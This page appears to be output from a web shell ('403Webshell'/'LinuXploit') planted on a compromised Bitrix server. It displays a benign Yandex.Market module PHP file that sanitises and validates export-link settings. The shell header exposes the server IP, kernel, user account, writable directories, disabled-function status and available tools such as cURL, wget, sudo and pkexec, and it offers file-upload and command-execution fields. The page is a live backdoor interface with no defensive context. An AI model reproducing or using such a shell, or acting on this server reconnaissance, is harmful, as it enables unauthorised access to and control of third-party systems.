403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/component/molecules/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/component/molecules/exportlink.php
<?php
namespace Yandex\Market\Component\Molecules;

use Bitrix\Main;
use Yandex\Market\Export;
use Yandex\Market\Reference;

class ExportLink
{
	use Reference\Concerns\HasMessage;

	public function sanitize(array $request)
	{
		$result = $request;
		$hasSetupRequest = isset($request['SETUP']);
		$hasSetupLinkRequest = isset($request['SETUP_LINK']);

		if ($hasSetupRequest || $hasSetupLinkRequest)
		{
			$ids = $hasSetupRequest ? (array)$request['SETUP'] : [];
			$idsMap = array_flip($ids);
			$usedIds = [];
			$result['SETUP_LINK'] = $hasSetupLinkRequest ? (array)$request['SETUP_LINK'] : [];

			foreach ($result['SETUP_LINK'] as $setupLinkKey => $setupLink)
			{
				$setupId = (int)$setupLink['SETUP_ID'];

				if ($setupId > 0 && isset($idsMap[$setupId]))
				{
					$usedIds[$setupId] = true;
				}
				else
				{
					unset($result['SETUP_LINK'][$setupLinkKey]);
				}
			}

			foreach ($ids as $id)
			{
				if ($id > 0 && !isset($usedIds[$id]))
				{
					$result['SETUP_LINK'][] = [
						'SETUP_ID' => $id
					];
				}
			}
		}

		return $result;
	}

	public function usedIblockIds(array $data = null)
	{
		if ($data === null) { return []; }

		$filter = $this->getSetupFilter($data, 'SETUP');

		if ($filter === null) { return []; }

		$querySetupIblockLinkList = Export\IblockLink\Table::getList([
			'filter' => $filter,
			'select' => [ 'IBLOCK_ID' ],
		]);

		return array_keys(array_column($querySetupIblockLinkList->fetchAll(), 'IBLOCK_ID', 'IBLOCK_ID'));
	}

	private function getSetupFilter(array $data, $reference = null)
	{
		if (isset($data['SETUP_EXPORT_ALL']) && (string)$data['SETUP_EXPORT_ALL'] === Reference\Storage\Table::BOOLEAN_Y)
		{
			return [];
		}

		$setupIds = [];

		if (!empty($data['SETUP']))
		{
			$setupIds = array_map('intval', $data['SETUP']);
			$setupIds = array_filter($setupIds);
		}

		if (empty($setupIds))
		{
			return null;
		}

		return [
			'=' . ($reference !== null ? $reference . '.' : '') . 'ID' => $setupIds,
		];
	}

	public function validate(Main\Entity\Result $result, array $data, array $fields)
	{
		$hasEmptySetupLink = false;
		$hasEmptySetupExportAll = false;

		if (isset($fields['SETUP']))
		{
			if (empty($data['SETUP']))
			{
				$hasEmptySetupLink = true;
			}
			else
			{
				Main\Type\Collection::normalizeArrayValuesByInt($data['SETUP']);

				$hasEmptySetupLink = (count($data['SETUP']) === 0);
			}
		}

		if (isset($fields['SETUP_EXPORT_ALL']))
		{
			$hasEmptySetupExportAll = (
				empty($data['SETUP_EXPORT_ALL'])
				|| (string)$data['SETUP_EXPORT_ALL'] === Reference\Storage\Table::BOOLEAN_N
			);
		}

		if ($hasEmptySetupLink && $hasEmptySetupExportAll)
		{
			$result->addError(new Main\Entity\EntityError(
				self::getMessage('LINK_EMPTY'),
				Main\Entity\FieldError::EMPTY_REQUIRED
			));
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit